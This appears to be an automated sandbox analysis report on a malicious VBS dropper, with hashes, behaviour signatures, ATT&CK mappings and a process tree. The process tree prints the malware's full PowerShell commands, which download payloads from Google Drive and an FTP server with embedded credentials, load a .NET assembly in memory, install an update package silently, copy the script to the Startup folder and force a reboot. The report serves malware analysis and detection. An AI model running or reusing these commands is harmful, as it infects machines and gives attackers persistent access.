596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23

General

Target

596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23.vbs
Size

681KB
MD5

9bd642cb865da2fbc2268da38596d491
SHA1

1b3752ed0e4910bc214b1229beb9bafccd426e21
SHA256

596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23
SHA512

d0eb2d2ef74e79f142073b1d65a754ec986df42c462e7a2349e82f46c37275ed73570a709561e4f10c951379961f88e191adfab0872a91c3510eb57ae200a383
SSDEEP

1536:9SSSSSSSSSSSSSSSSSSSSSSSx22222222222222222222222222222222222222p:e0iA2Seis

Score

10^/10

execution

Malware Config

Extracted

Language

ps1

Source

URLs

exe.dropper

https://drive.google.com/uc?export=download&id=

Signatures

Drops startup file 2 IoCs

description	ioc	Process
File created	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23.vbs	powershell.exe
File opened for modification	C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23.vbs	powershell.exe

Command and Scripting Interpreter: PowerShell 1 TTPs 3 IoCs

Using powershell.exe command.

execution

PowerShell

T1059.001

pid	Process
2636	powershell.exe
2824	powershell.exe
2672	powershell.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\wusa.lock	wusa.exe
File opened for modification	C:\Windows\Logs\DPX\setupact.log	wusa.exe
File opened for modification	C:\Windows\Logs\DPX\setuperr.log	wusa.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
2672	powershell.exe
2824	powershell.exe
2604	powershell.exe
2636	powershell.exe

Suspicious use of AdjustPrivilegeToken 4 IoCs

description	pid	Process
Token: SeDebugPrivilege	2672	powershell.exe
Token: SeDebugPrivilege	2824	powershell.exe
Token: SeDebugPrivilege	2604	powershell.exe
Token: SeDebugPrivilege	2636	powershell.exe

Suspicious use of WriteProcessMemory 15 IoCs

description	pid	Process	procid_target
PID 1980 wrote to memory of 2672	1980	WScript.exe	31
PID 1980 wrote to memory of 2672	1980	WScript.exe	31
PID 1980 wrote to memory of 2672	1980	WScript.exe	31
PID 2672 wrote to memory of 2824	2672	powershell.exe	33
PID 2672 wrote to memory of 2824	2672	powershell.exe	33
PID 2672 wrote to memory of 2824	2672	powershell.exe	33
PID 2824 wrote to memory of 2604	2824	powershell.exe	34
PID 2824 wrote to memory of 2604	2824	powershell.exe	34
PID 2824 wrote to memory of 2604	2824	powershell.exe	34
PID 2604 wrote to memory of 2560	2604	powershell.exe	35
PID 2604 wrote to memory of 2560	2604	powershell.exe	35
PID 2604 wrote to memory of 2560	2604	powershell.exe	35
PID 2824 wrote to memory of 2636	2824	powershell.exe	36
PID 2824 wrote to memory of 2636	2824	powershell.exe	36
PID 2824 wrote to memory of 2636	2824	powershell.exe	36

C:\Windows\System32\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23.vbs"
1⤵
- Suspicious use of WriteProcessMemory
PID:1980
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "$qKKzc = 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= $qKKzc.replace('Ќз革' , 'A') ;$IedxR = [System.Text.Encoding]::Unicode.GetString([System.Convert]::FromBase64String( $nQCfu ) ); $IedxR = $IedxR[-1..-$IedxR.Length] -join '';$IedxR = $IedxR.replace('%XRqhI%','C:\Users\Admin\AppData\Local\Temp\596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23.vbs');powershell $IedxR
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  - Suspicious use of WriteProcessMemory
  PID:2672
- - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "; $TQMdF = $host.Version.Major.Equals(2) ;if ( $TQMdF ) {$MiRId = [System.IO.Path]::GetTempPath();del ( $MiRId + '\Upwin.msu' );$RYEaF = 'https://drive.google.com/uc?export=download&id=';$sBiiW = $env:PROCESSOR_ARCHITECTURE.Contains('64') ;if ( $sBiiW ) {$RYEaF = ($RYEaF + '1NaqdNXiGvI_q1RPkazFtMygmaqTJXu42') ;}else {$RYEaF = ($RYEaF + '1g1jmXusX9mc9VmhVrJJ2XofZ3aK_cLOt') ;};$yHJhx = (New-Object Net.WebClient);$yHJhx.Encoding = [System.Text.Encoding]::UTF8;$yHJhx.DownloadFile($URLKB, $MiRId + '\Upwin.msu');$AUrGF = ('C:\Users\' + [Environment]::UserName );IzjAQ = ($MiRId + '\Upwin.msu'); powershell.exe wusa.exe IzjAQ /quiet /norestart ; Copy-Item 'C:\Users\Admin\AppData\Local\Temp\596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23.vbs' -Destination ( $AUrGF + '\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup' ) -force ;powershell.exe -command 'sleep 180'; shutdown.exe /r /t 0 /f }else {[System.Net.ServicePointManager]::ServerCertificateValidationCallback = {$true};[System.Net.ServicePointManager]::SecurityProtocol = [System.Net.SecurityProtocolType]::Tls12;$lBCzSg;$lcwr = (New-Object Net.WebClient);$lcwr.Encoding = [System.Text.Encoding]::UTF8;$lcwr.Credentials = new-object System.Net.NetworkCredential((-join [char[]](100,101,115,99,107,118,98,114,97,116,49)),'developerpro21578Jp@@');$lBCzSg = $lcwr.DownloadString( 'ftp://[email protected]/Upcrypter/01/DLL01.txt' );$lcwr.dispose();$lcwr = (New-Object Net.WebClient);$lcwr.Encoding = [System.Text.Encoding]::UTF8;$lBCzSg = $lcwr.DownloadString( $lBCzSg );$hzwje = 'C:\Users\Admin\AppData\Local\Temp\596a00476cdbd7a3f93ec08a71f1a356e4289da5017132ee631368d4b2251e23.vbs';[Byte[]] $acBcZ = [System.Convert]::FromBase64String( $lBCzSg.Replace( '↓:↓' , 'A' ) );[System.AppDomain]::CurrentDomain.Load( $acBcZ ).GetType('ClassLibrary3.Class1').GetMethod( 'prFVI' ).Invoke( $null , [object[]] ( 'txt.ni/moc.noitaercneerhem//:sptth' , $hzwje , 'true1' ) );};"
    3⤵
    - Drops startup file
    - Command and Scripting Interpreter: PowerShell
    - Suspicious behavior: EnumeratesProcesses
    - Suspicious use of AdjustPrivilegeToken
    - Suspicious use of WriteProcessMemory
    PID:2824
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" wusa.exe IzjAQ /quiet /norestart
      4⤵
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      Suspicious use of WriteProcessMemory
      PID:2604
    - - C:\Windows\system32\wusa.exe
        
        "C:\Windows\system32\wusa.exe" IzjAQ /quiet /norestart
        5⤵
        Drops file in Windows directory
        
        PID:2560
  - - C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
      "C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -command "sleep 180"
      4⤵
      Command and Scripting Interpreter: PowerShell
      Suspicious behavior: EnumeratesProcesses
      Suspicious use of AdjustPrivilegeToken
      PID:2636

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

1

T1059

PowerShell

1

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

1

T1082

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\E6PBWVXAP6H9R9FMNZ5O.temp

Filesize
7KB

MD5
32146230870c059228fab0007d0a88a8

SHA1
de3b4a904a729108afd1f5debe893a8a10b0d717

SHA256
ae25612dc60084b2fae488a1eaae52f33aa8ddfb12004a4e6f7a9c27fe299272

SHA512
21bdcd5e6f86c30df60b5caeb9acf5703fa1b1c4ac622f9abde55ce5f22e7cf7d56a222e48f96508deb6e0f903b754cad411bea6c21aa3f5583b21e12bc9ec9b

Download Submit
memory/2672-4-0x000007FEF61EE000-0x000007FEF61EF000-memory.dmp

Filesize
4KB

Download
memory/2672-5-0x000000001B5C0000-0x000000001B8A2000-memory.dmp

Filesize
2.9MB

Download
memory/2672-6-0x0000000001E90000-0x0000000001E98000-memory.dmp

Filesize
32KB

Download
memory/2672-7-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download
memory/2672-8-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download
memory/2672-9-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download
memory/2672-10-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download
memory/2672-11-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download
memory/2672-29-0x000007FEF61EE000-0x000007FEF61EF000-memory.dmp

Filesize
4KB

Download
memory/2672-30-0x000007FEF5F30000-0x000007FEF68CD000-memory.dmp

Filesize
9.6MB

Download

Analysis

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